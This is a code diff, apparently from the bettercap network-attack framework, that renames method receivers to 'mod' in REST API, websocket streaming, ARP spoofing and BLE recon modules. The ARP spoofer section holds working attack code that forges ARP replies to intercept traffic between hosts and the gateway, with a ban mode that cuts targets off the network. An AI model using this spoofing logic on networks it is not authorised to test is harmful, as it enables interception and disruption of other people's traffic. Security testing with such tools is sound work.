@ -169,22 +169,22 @@ func (api *RestAPI) showEvents(w http.ResponseWriter, r *http.Request) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
api.toJSON(w, events[nevents-n:])
|
mod.toJSON(w, events[nevents-n:])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) clearEvents(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) clearEvents(w http.ResponseWriter, r *http.Request) {
|
||||||
session.I.Events.Clear()
|
session.I.Events.Clear()
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) sessionRoute(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) sessionRoute(w http.ResponseWriter, r *http.Request) {
|
||||||
api.setSecurityHeaders(w)
|
mod.setSecurityHeaders(w)
|
||||||
|
|
||||||
if !api.checkAuth(r) {
|
if !mod.checkAuth(r) {
|
||||||
api.setAuthFailed(w, r)
|
mod.setAuthFailed(w, r)
|
||||||
return
|
return
|
||||||
} else if r.Method == "POST" {
|
} else if r.Method == "POST" {
|
||||||
api.runSessionCommand(w, r)
|
mod.runSessionCommand(w, r)
|
||||||
return
|
return
|
||||||
} else if r.Method != "GET" {
|
} else if r.Method != "GET" {
|
||||||
http.Error(w, "Bad Request", 400)
|
http.Error(w, "Bad Request", 400)
|
||||||
|
@ -197,55 +197,55 @@ func (api *RestAPI) sessionRoute(w http.ResponseWriter, r *http.Request) {
|
||||||
path := r.URL.String()
|
path := r.URL.String()
|
||||||
switch {
|
switch {
|
||||||
case path == "/api/session":
|
case path == "/api/session":
|
||||||
api.showSession(w, r)
|
mod.showSession(w, r)
|
||||||
|
|
||||||
case path == "/api/session/env":
|
case path == "/api/session/env":
|
||||||
api.showEnv(w, r)
|
mod.showEnv(w, r)
|
||||||
|
|
||||||
case path == "/api/session/gateway":
|
case path == "/api/session/gateway":
|
||||||
api.showGateway(w, r)
|
mod.showGateway(w, r)
|
||||||
|
|
||||||
case path == "/api/session/interface":
|
case path == "/api/session/interface":
|
||||||
api.showInterface(w, r)
|
mod.showInterface(w, r)
|
||||||
|
|
||||||
case strings.HasPrefix(path, "/api/session/modules"):
|
case strings.HasPrefix(path, "/api/session/modules"):
|
||||||
api.showModules(w, r)
|
mod.showModules(w, r)
|
||||||
|
|
||||||
case strings.HasPrefix(path, "/api/session/lan"):
|
case strings.HasPrefix(path, "/api/session/lan"):
|
||||||
api.showLan(w, r)
|
mod.showLan(w, r)
|
||||||
|
|
||||||
case path == "/api/session/options":
|
case path == "/api/session/options":
|
||||||
api.showOptions(w, r)
|
mod.showOptions(w, r)
|
||||||
|
|
||||||
case path == "/api/session/packets":
|
case path == "/api/session/packets":
|
||||||
api.showPackets(w, r)
|
mod.showPackets(w, r)
|
||||||
|
|
||||||
case path == "/api/session/started-at":
|
case path == "/api/session/started-at":
|
||||||
api.showStartedAt(w, r)
|
mod.showStartedAt(w, r)
|
||||||
|
|
||||||
case strings.HasPrefix(path, "/api/session/ble"):
|
case strings.HasPrefix(path, "/api/session/ble"):
|
||||||
api.showBle(w, r)
|
mod.showBle(w, r)
|
||||||
|
|
||||||
case strings.HasPrefix(path, "/api/session/wifi"):
|
case strings.HasPrefix(path, "/api/session/wifi"):
|
||||||
api.showWiFi(w, r)
|
mod.showWiFi(w, r)
|
||||||
|
|
||||||
default:
|
default:
|
||||||
http.Error(w, "Not Found", 404)
|
http.Error(w, "Not Found", 404)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) eventsRoute(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) eventsRoute(w http.ResponseWriter, r *http.Request) {
|
||||||
api.setSecurityHeaders(w)
|
mod.setSecurityHeaders(w)
|
||||||
|
|
||||||
if !api.checkAuth(r) {
|
if !mod.checkAuth(r) {
|
||||||
api.setAuthFailed(w, r)
|
mod.setAuthFailed(w, r)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if r.Method == "GET" {
|
if r.Method == "GET" {
|
||||||
api.showEvents(w, r)
|
mod.showEvents(w, r)
|
||||||
} else if r.Method == "DELETE" {
|
} else if r.Method == "DELETE" {
|
||||||
api.clearEvents(w, r)
|
mod.clearEvents(w, r)
|
||||||
} else {
|
} else {
|
||||||
http.Error(w, "Bad Request", 400)
|
http.Error(w, "Bad Request", 400)
|
||||||
}
|
}
|
||||||
|
|
|
@ -20,17 +20,17 @@ const (
|
||||||
pingPeriod = (pongWait * 9) / 10
|
pingPeriod = (pongWait * 9) / 10
|
||||||
)
|
)
|
||||||
|
|
||||||
func (api *RestAPI) streamEvent(ws *websocket.Conn, event session.Event) error {
|
func (mod *RestAPI) streamEvent(ws *websocket.Conn, event session.Event) error {
|
||||||
msg, err := json.Marshal(event)
|
msg, err := json.Marshal(event)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
api.Error("Error while creating websocket message: %s", err)
|
mod.Error("Error while creating websocket message: %s", err)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
ws.SetWriteDeadline(time.Now().Add(writeWait))
|
ws.SetWriteDeadline(time.Now().Add(writeWait))
|
||||||
if err := ws.WriteMessage(websocket.TextMessage, msg); err != nil {
|
if err := ws.WriteMessage(websocket.TextMessage, msg); err != nil {
|
||||||
if !strings.Contains(err.Error(), "closed connection") {
|
if !strings.Contains(err.Error(), "closed connection") {
|
||||||
api.Error("Error while writing websocket message: %s", err)
|
mod.Error("Error while writing websocket message: %s", err)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -38,25 +38,25 @@ func (api *RestAPI) streamEvent(ws *websocket.Conn, event session.Event) error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) sendPing(ws *websocket.Conn) error {
|
func (mod *RestAPI) sendPing(ws *websocket.Conn) error {
|
||||||
ws.SetWriteDeadline(time.Now().Add(writeWait))
|
ws.SetWriteDeadline(time.Now().Add(writeWait))
|
||||||
if err := ws.WriteMessage(websocket.PingMessage, []byte{}); err != nil {
|
if err := ws.WriteMessage(websocket.PingMessage, []byte{}); err != nil {
|
||||||
api.Error("Error while writing websocket ping message: %s", err)
|
mod.Error("Error while writing websocket ping message: %s", err)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) streamWriter(ws *websocket.Conn, w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) streamWriter(ws *websocket.Conn, w http.ResponseWriter, r *http.Request) {
|
||||||
defer ws.Close()
|
defer ws.Close()
|
||||||
|
|
||||||
// first we stream what we already have
|
// first we stream what we already have
|
||||||
events := session.I.Events.Sorted()
|
events := session.I.Events.Sorted()
|
||||||
n := len(events)
|
n := len(events)
|
||||||
if n > 0 {
|
if n > 0 {
|
||||||
api.Debug("Sending %d events.", n)
|
mod.Debug("Sending %d events.", n)
|
||||||
for _, event := range events {
|
for _, event := range events {
|
||||||
if err := api.streamEvent(ws, event); err != nil {
|
if err := mod.streamEvent(ws, event); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -64,7 +64,7 @@ func (api *RestAPI) streamWriter(ws *websocket.Conn, w http.ResponseWriter, r *h
|
||||||
|
|
||||||
session.I.Events.Clear()
|
session.I.Events.Clear()
|
||||||
|
|
||||||
api.Debug("Listening for events and streaming to ws endpoint ...")
|
mod.Debug("Listening for events and streaming to ws endpoint ...")
|
||||||
|
|
||||||
pingTicker := time.NewTicker(pingPeriod)
|
pingTicker := time.NewTicker(pingPeriod)
|
||||||
listener := session.I.Events.Listen()
|
listener := session.I.Events.Listen()
|
||||||
|
@ -73,21 +73,21 @@ func (api *RestAPI) streamWriter(ws *websocket.Conn, w http.ResponseWriter, r *h
|
||||||
for {
|
for {
|
||||||
select {
|
select {
|
||||||
case <-pingTicker.C:
|
case <-pingTicker.C:
|
||||||
if err := api.sendPing(ws); err != nil {
|
if err := mod.sendPing(ws); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
case event := <-listener:
|
case event := <-listener:
|
||||||
if err := api.streamEvent(ws, event); err != nil {
|
if err := mod.streamEvent(ws, event); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
case <-api.quit:
|
case <-mod.quit:
|
||||||
api.Info("Stopping websocket events streamer ...")
|
mod.Info("Stopping websocket events streamer ...")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) streamReader(ws *websocket.Conn) {
|
func (mod *RestAPI) streamReader(ws *websocket.Conn) {
|
||||||
defer ws.Close()
|
defer ws.Close()
|
||||||
ws.SetReadLimit(512)
|
ws.SetReadLimit(512)
|
||||||
ws.SetReadDeadline(time.Now().Add(pongWait))
|
ws.SetReadDeadline(time.Now().Add(pongWait))
|
||||||
|
@ -95,23 +95,23 @@ func (api *RestAPI) streamReader(ws *websocket.Conn) {
|
||||||
for {
|
for {
|
||||||
_, _, err := ws.ReadMessage()
|
_, _, err := ws.ReadMessage()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
api.Debug("Closing websocket reader.")
|
mod.Debug("Closing websocket reader.")
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) startStreamingEvents(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) startStreamingEvents(w http.ResponseWriter, r *http.Request) {
|
||||||
ws, err := api.upgrader.Upgrade(w, r, nil)
|
ws, err := mod.upgrader.Upgrade(w, r, nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
if _, ok := err.(websocket.HandshakeError); !ok {
|
if _, ok := err.(websocket.HandshakeError); !ok {
|
||||||
api.Error("Error while updating api.rest connection to websocket: %s", err)
|
mod.Error("Error while updating api.rest connection to websocket: %s", err)
|
||||||
}
|
}
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
api.Debug("Websocket streaming started for %s", r.RemoteAddr)
|
mod.Debug("Websocket streaming started for %s", r.RemoteAddr)
|
||||||
|
|
||||||
go api.streamWriter(ws, w, r)
|
go mod.streamWriter(ws, w, r)
|
||||||
api.streamReader(ws)
|
mod.streamReader(ws)
|
||||||
}
|
}
|
||||||
|
|
|
@ -26,7 +26,7 @@ type ArpSpoofer struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewArpSpoofer(s *session.Session) *ArpSpoofer {
|
func NewArpSpoofer(s *session.Session) *ArpSpoofer {
|
||||||
p := &ArpSpoofer{
|
mod := &ArpSpoofer{
|
||||||
SessionModule: session.NewSessionModule("arp.spoof", s),
|
SessionModule: session.NewSessionModule("arp.spoof", s),
|
||||||
addresses: make([]net.IP, 0),
|
addresses: make([]net.IP, 0),
|
||||||
macs: make([]net.HardwareAddr, 0),
|
macs: make([]net.HardwareAddr, 0),
|
||||||
|
@ -38,123 +38,123 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer {
|
||||||
waitGroup: &sync.WaitGroup{},
|
waitGroup: &sync.WaitGroup{},
|
||||||
}
|
}
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("arp.spoof.targets", session.ParamSubnet, "", "Comma separated list of IP addresses, MAC addresses or aliases to spoof, also supports nmap style IP ranges."))
|
mod.AddParam(session.NewStringParameter("arp.spoof.targets", session.ParamSubnet, "", "Comma separated list of IP addresses, MAC addresses or aliases to spoof, also supports nmap style IP ranges."))
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("arp.spoof.whitelist", "", "", "Comma separated list of IP addresses, MAC addresses or aliases to skip while spoofing."))
|
mod.AddParam(session.NewStringParameter("arp.spoof.whitelist", "", "", "Comma separated list of IP addresses, MAC addresses or aliases to skip while spoofing."))
|
||||||
|
|
||||||
p.AddParam(session.NewBoolParameter("arp.spoof.internal",
|
mod.AddParam(session.NewBoolParameter("arp.spoof.internal",
|
||||||
"false",
|
"false",
|
||||||
"If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network."))
|
"If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network."))
|
||||||
|
|
||||||
p.AddParam(session.NewBoolParameter("arp.spoof.fullduplex",
|
mod.AddParam(session.NewBoolParameter("arp.spoof.fullduplex",
|
||||||
"false",
|
"false",
|
||||||
"If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail)."))
|
"If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail)."))
|
||||||
|
|
||||||
p.AddHandler(session.NewModuleHandler("arp.spoof on", "",
|
mod.AddHandler(session.NewModuleHandler("arp.spoof on", "",
|
||||||
"Start ARP spoofer.",
|
"Start ARP spoofer.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return p.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
p.AddHandler(session.NewModuleHandler("arp.ban on", "",
|
mod.AddHandler(session.NewModuleHandler("arp.ban on", "",
|
||||||
"Start ARP spoofer in ban mode, meaning the target(s) connectivity will not work.",
|
"Start ARP spoofer in ban mode, meaning the target(s) connectivity will not work.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
p.ban = true
|
mod.ban = true
|
||||||
return p.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
p.AddHandler(session.NewModuleHandler("arp.spoof off", "",
|
mod.AddHandler(session.NewModuleHandler("arp.spoof off", "",
|
||||||
"Stop ARP spoofer.",
|
"Stop ARP spoofer.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return p.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
p.AddHandler(session.NewModuleHandler("arp.ban off", "",
|
mod.AddHandler(session.NewModuleHandler("arp.ban off", "",
|
||||||
"Stop ARP spoofer.",
|
"Stop ARP spoofer.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return p.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return p
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p ArpSpoofer) Name() string {
|
func (mod ArpSpoofer) Name() string {
|
||||||
return "arp.spoof"
|
return "arp.spoof"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p ArpSpoofer) Description() string {
|
func (mod ArpSpoofer) Description() string {
|
||||||
return "Keep spoofing selected hosts on the network."
|
return "Keep spoofing selected hosts on the network."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p ArpSpoofer) Author() string {
|
func (mod ArpSpoofer) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *ArpSpoofer) Configure() error {
|
func (mod *ArpSpoofer) Configure() error {
|
||||||
var err error
|
var err error
|
||||||
var targets string
|
var targets string
|
||||||
var whitelist string
|
var whitelist string
|
||||||
|
|
||||||
if err, p.fullDuplex = p.BoolParam("arp.spoof.fullduplex"); err != nil {
|
if err, mod.fullDuplex = mod.BoolParam("arp.spoof.fullduplex"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, p.internal = p.BoolParam("arp.spoof.internal"); err != nil {
|
} else if err, mod.internal = mod.BoolParam("arp.spoof.internal"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, targets = p.StringParam("arp.spoof.targets"); err != nil {
|
} else if err, targets = mod.StringParam("arp.spoof.targets"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, whitelist = p.StringParam("arp.spoof.whitelist"); err != nil {
|
} else if err, whitelist = mod.StringParam("arp.spoof.whitelist"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if p.addresses, p.macs, err = network.ParseTargets(targets, p.Session.Lan.Aliases()); err != nil {
|
} else if mod.addresses, mod.macs, err = network.ParseTargets(targets, mod.Session.Lan.Aliases()); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if p.wAddresses, p.wMacs, err = network.ParseTargets(whitelist, p.Session.Lan.Aliases()); err != nil {
|
} else if mod.wAddresses, mod.wMacs, err = network.ParseTargets(whitelist, mod.Session.Lan.Aliases()); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
p.Debug(" addresses=%v macs=%v whitelisted-addresses=%v whitelisted-macs=%v", p.addresses, p.macs, p.wAddresses, p.wMacs)
|
mod.Debug(" addresses=%v macs=%v whitelisted-addresses=%v whitelisted-macs=%v", mod.addresses, mod.macs, mod.wAddresses, mod.wMacs)
|
||||||
|
|
||||||
if p.ban {
|
if mod.ban {
|
||||||
p.Warning("running in ban mode, forwarding not enabled!")
|
mod.Warning("running in ban mode, forwarding not enabled!")
|
||||||
p.Session.Firewall.EnableForwarding(false)
|
mod.Session.Firewall.EnableForwarding(false)
|
||||||
} else if !p.Session.Firewall.IsForwardingEnabled() {
|
} else if !mod.Session.Firewall.IsForwardingEnabled() {
|
||||||
p.Info("enabling forwarding")
|
mod.Info("enabling forwarding")
|
||||||
p.Session.Firewall.EnableForwarding(true)
|
mod.Session.Firewall.EnableForwarding(true)
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *ArpSpoofer) Start() error {
|
func (mod *ArpSpoofer) Start() error {
|
||||||
if err := p.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return p.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
neighbours := []net.IP{}
|
neighbours := []net.IP{}
|
||||||
nTargets := len(p.addresses) + len(p.macs)
|
nTargets := len(mod.addresses) + len(mod.macs)
|
||||||
|
|
||||||
if p.internal {
|
if mod.internal {
|
||||||
list, _ := iprange.ParseList(p.Session.Interface.CIDR())
|
list, _ := iprange.ParseList(mod.Session.Interface.CIDR())
|
||||||
neighbours = list.Expand()
|
neighbours = list.Expand()
|
||||||
nNeigh := len(neighbours) - 2
|
nNeigh := len(neighbours) - 2
|
||||||
|
|
||||||
p.Warning("arp spoofer started targeting %d possible network neighbours of %d targets.", nNeigh, nTargets)
|
mod.Warning("arp spoofer started targeting %d possible network neighbours of %d targets.", nNeigh, nTargets)
|
||||||
} else {
|
} else {
|
||||||
p.Info("arp spoofer started, probing %d targets.", nTargets)
|
mod.Info("arp spoofer started, probing %d targets.", nTargets)
|
||||||
}
|
}
|
||||||
|
|
||||||
if p.fullDuplex {
|
if mod.fullDuplex {
|
||||||
p.Warning("full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail.")
|
mod.Warning("full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail.")
|
||||||
}
|
}
|
||||||
|
|
||||||
p.waitGroup.Add(1)
|
mod.waitGroup.Add(1)
|
||||||
defer p.waitGroup.Done()
|
defer mod.waitGroup.Done()
|
||||||
|
|
||||||
gwIP := p.Session.Gateway.IP
|
gwIP := mod.Session.Gateway.IP
|
||||||
myMAC := p.Session.Interface.HW
|
myMAC := mod.Session.Interface.HW
|
||||||
for p.Running() {
|
for mod.Running() {
|
||||||
p.arpSpoofTargets(gwIP, myMAC, true, false)
|
mod.arpSpoofTargets(gwIP, myMAC, true, false)
|
||||||
for _, address := range neighbours {
|
for _, address := range neighbours {
|
||||||
if !p.Session.Skip(address) {
|
if !mod.Session.Skip(address) {
|
||||||
p.arpSpoofTargets(address, myMAC, true, false)
|
mod.arpSpoofTargets(address, myMAC, true, false)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -163,18 +163,18 @@ func (p *ArpSpoofer) Start() error {
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *ArpSpoofer) unSpoof() error {
|
func (mod *ArpSpoofer) unSpoof() error {
|
||||||
nTargets := len(p.addresses) + len(p.macs)
|
nTargets := len(mod.addresses) + len(mod.macs)
|
||||||
p.Info("restoring ARP cache of %d targets.", nTargets)
|
mod.Info("restoring ARP cache of %d targets.", nTargets)
|
||||||
p.arpSpoofTargets(p.Session.Gateway.IP, p.Session.Gateway.HW, false, false)
|
mod.arpSpoofTargets(mod.Session.Gateway.IP, mod.Session.Gateway.HW, false, false)
|
||||||
|
|
||||||
if p.internal {
|
if mod.internal {
|
||||||
list, _ := iprange.ParseList(p.Session.Interface.CIDR())
|
list, _ := iprange.ParseList(mod.Session.Interface.CIDR())
|
||||||
neighbours := list.Expand()
|
neighbours := list.Expand()
|
||||||
for _, address := range neighbours {
|
for _, address := range neighbours {
|
||||||
if !p.Session.Skip(address) {
|
if !mod.Session.Skip(address) {
|
||||||
if realMAC, err := p.Session.FindMAC(address, false); err == nil {
|
if realMAC, err := mod.Session.FindMAC(address, false); err == nil {
|
||||||
p.arpSpoofTargets(address, realMAC, false, false)
|
mod.arpSpoofTargets(address, realMAC, false, false)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -183,23 +183,23 @@ func (p *ArpSpoofer) unSpoof() error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *ArpSpoofer) Stop() error {
|
func (mod *ArpSpoofer) Stop() error {
|
||||||
return p.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
p.Info("waiting for ARP spoofer to stop ...")
|
mod.Info("waiting for ARP spoofer to stop ...")
|
||||||
p.unSpoof()
|
mod.unSpoof()
|
||||||
p.ban = false
|
mod.ban = false
|
||||||
p.waitGroup.Wait()
|
mod.waitGroup.Wait()
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *ArpSpoofer) isWhitelisted(ip string, mac net.HardwareAddr) bool {
|
func (mod *ArpSpoofer) isWhitelisted(ip string, mac net.HardwareAddr) bool {
|
||||||
for _, addr := range p.wAddresses {
|
for _, addr := range mod.wAddresses {
|
||||||
if ip == addr.String() {
|
if ip == addr.String() {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, hw := range p.wMacs {
|
for _, hw := range mod.wMacs {
|
||||||
if bytes.Equal(hw, mac) {
|
if bytes.Equal(hw, mac) {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
@ -208,28 +208,28 @@ func (p *ArpSpoofer) isWhitelisted(ip string, mac net.HardwareAddr) bool {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *ArpSpoofer) getTargets(probe bool) map[string]net.HardwareAddr {
|
func (mod *ArpSpoofer) getTargets(probe bool) map[string]net.HardwareAddr {
|
||||||
targets := make(map[string]net.HardwareAddr)
|
targets := make(map[string]net.HardwareAddr)
|
||||||
|
|
||||||
// add targets specified by IP address
|
// add targets specified by IP address
|
||||||
for _, ip := range p.addresses {
|
for _, ip := range mod.addresses {
|
||||||
if p.Session.Skip(ip) {
|
if mod.Session.Skip(ip) {
|
||||||
p.Debug("skipping IP %s from arp spoofing.", ip)
|
mod.Debug("skipping IP %s from arp spoofing.", ip)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
// do we have this ip mac address?
|
// do we have this ip mac address?
|
||||||
if hw, err := p.Session.FindMAC(ip, probe); err != nil {
|
if hw, err := mod.Session.FindMAC(ip, probe); err != nil {
|
||||||
p.Debug("could not find hardware address for %s", ip.String())
|
mod.Debug("could not find hardware address for %s", ip.String())
|
||||||
} else {
|
} else {
|
||||||
targets[ip.String()] = hw
|
targets[ip.String()] = hw
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// add targets specified by MAC address
|
// add targets specified by MAC address
|
||||||
for _, hw := range p.macs {
|
for _, hw := range mod.macs {
|
||||||
if ip, err := network.ArpInverseLookup(p.Session.Interface.Name(), hw.String(), false); err != nil {
|
if ip, err := network.ArpInverseLookup(mod.Session.Interface.Name(), hw.String(), false); err != nil {
|
||||||
p.Warning("could not find IP address for %s", hw.String())
|
mod.Warning("could not find IP address for %s", hw.String())
|
||||||
} else if p.Session.Skip(net.ParseIP(ip)) {
|
} else if mod.Session.Skip(net.ParseIP(ip)) {
|
||||||
p.Debug("skipping address %s from arp spoofing.", ip)
|
mod.Debug("skipping address %s from arp spoofing.", ip)
|
||||||
} else {
|
} else {
|
||||||
targets[ip] = hw
|
targets[ip] = hw
|
||||||
}
|
}
|
||||||
|
@ -238,13 +238,13 @@ func (p *ArpSpoofer) getTargets(probe bool) map[string]net.HardwareAddr {
|
||||||
return targets
|
return targets
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *ArpSpoofer) arpSpoofTargets(saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) {
|
func (mod *ArpSpoofer) arpSpoofTargets(saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) {
|
||||||
p.waitGroup.Add(1)
|
mod.waitGroup.Add(1)
|
||||||
defer p.waitGroup.Done()
|
defer mod.waitGroup.Done()
|
||||||
|
|
||||||
gwIP := p.Session.Gateway.IP
|
gwIP := mod.Session.Gateway.IP
|
||||||
gwHW := p.Session.Gateway.HW
|
gwHW := mod.Session.Gateway.HW
|
||||||
ourHW := p.Session.Interface.HW
|
ourHW := mod.Session.Interface.HW
|
||||||
isGW := false
|
isGW := false
|
||||||
isSpoofing := false
|
isSpoofing := false
|
||||||
|
|
||||||
|
@ -257,11 +257,11 @@ func (p *ArpSpoofer) arpSpoofTargets(saddr net.IP, smac net.HardwareAddr, check_
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for ip, mac := range p.getTargets(probe) {
|
for ip, mac := range mod.getTargets(probe) {
|
||||||
if check_running && !p.Running() {
|
if check_running && !mod.Running() {
|
||||||
return
|
return
|
||||||
} else if p.isWhitelisted(ip, mac) {
|
} else if mod.isWhitelisted(ip, mac) {
|
||||||
p.Debug("%s (%s) is whitelisted, skipping from spoofing loop.", ip, mac)
|
mod.Debug("%s (%s) is whitelisted, skipping from spoofing loop.", ip, mac)
|
||||||
continue
|
continue
|
||||||
} else if saddr.String() == ip {
|
} else if saddr.String() == ip {
|
||||||
continue
|
continue
|
||||||
|
@ -269,34 +269,34 @@ func (p *ArpSpoofer) arpSpoofTargets(saddr net.IP, smac net.HardwareAddr, check_
|
||||||
|
|
||||||
rawIP := net.ParseIP(ip)
|
rawIP := net.ParseIP(ip)
|
||||||
if err, pkt := packets.NewARPReply(saddr, smac, rawIP, mac); err != nil {
|
if err, pkt := packets.NewARPReply(saddr, smac, rawIP, mac); err != nil {
|
||||||
p.Error("error while creating ARP spoof packet for %s: %s", ip, err)
|
mod.Error("error while creating ARP spoof packet for %s: %s", ip, err)
|
||||||
} else {
|
} else {
|
||||||
p.Debug("sending %d bytes of ARP packet to %s:%s.", len(pkt), ip, mac.String())
|
mod.Debug("sending %d bytes of ARP packet to %s:%s.", len(pkt), ip, mac.String())
|
||||||
p.Session.Queue.Send(pkt)
|
mod.Session.Queue.Send(pkt)
|
||||||
}
|
}
|
||||||
|
|
||||||
if p.fullDuplex && isGW {
|
if mod.fullDuplex && isGW {
|
||||||
err := error(nil)
|
err := error(nil)
|
||||||
gwPacket := []byte(nil)
|
gwPacket := []byte(nil)
|
||||||
|
|
||||||
if isSpoofing {
|
if isSpoofing {
|
||||||
p.Debug("telling the gw we are %s", ip)
|
mod.Debug("telling the gw we are %s", ip)
|
||||||
// we told the target we're te gateway, not let's tell the
|
// we told the target we're te gateway, not let's tell the
|
||||||
// gateway that we are the target
|
// gateway that we are the target
|
||||||
if err, gwPacket = packets.NewARPReply(rawIP, ourHW, gwIP, gwHW); err != nil {
|
if err, gwPacket = packets.NewARPReply(rawIP, ourHW, gwIP, gwHW); err != nil {
|
||||||
p.Error("error while creating ARP spoof packet: %s", err)
|
mod.Error("error while creating ARP spoof packet: %s", err)
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
p.Debug("telling the gw %s is %s", ip, mac)
|
mod.Debug("telling the gw %s is %s", ip, mac)
|
||||||
// send the gateway the original MAC of the target
|
// send the gateway the original MAC of the target
|
||||||
if err, gwPacket = packets.NewARPReply(rawIP, mac, gwIP, gwHW); err != nil {
|
if err, gwPacket = packets.NewARPReply(rawIP, mac, gwIP, gwHW); err != nil {
|
||||||
p.Error("error while creating ARP spoof packet: %s", err)
|
mod.Error("error while creating ARP spoof packet: %s", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if gwPacket != nil {
|
if gwPacket != nil {
|
||||||
if err = p.Session.Queue.Send(gwPacket); err != nil {
|
if err = mod.Session.Queue.Send(gwPacket); err != nil {
|
||||||
p.Error("error while sending packet: %v", err)
|
mod.Error("error while sending packet: %v", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -29,7 +29,7 @@ type BLERecon struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewBLERecon(s *session.Session) *BLERecon {
|
func NewBLERecon(s *session.Session) *BLERecon {
|
||||||
d := &BLERecon{
|
mod := &BLERecon{
|
||||||
SessionModule: session.NewSessionModule("ble.recon", s),
|
SessionModule: session.NewSessionModule("ble.recon", s),
|
||||||
gattDevice: nil,
|
gattDevice: nil,
|
||||||
quit: make(chan bool),
|
quit: make(chan bool),
|
||||||
|
@ -39,38 +39,38 @@ func NewBLERecon(s *session.Session) *BLERecon {
|
||||||
connected: false,
|
connected: false,
|
||||||
}
|
}
|
||||||
|
|
||||||
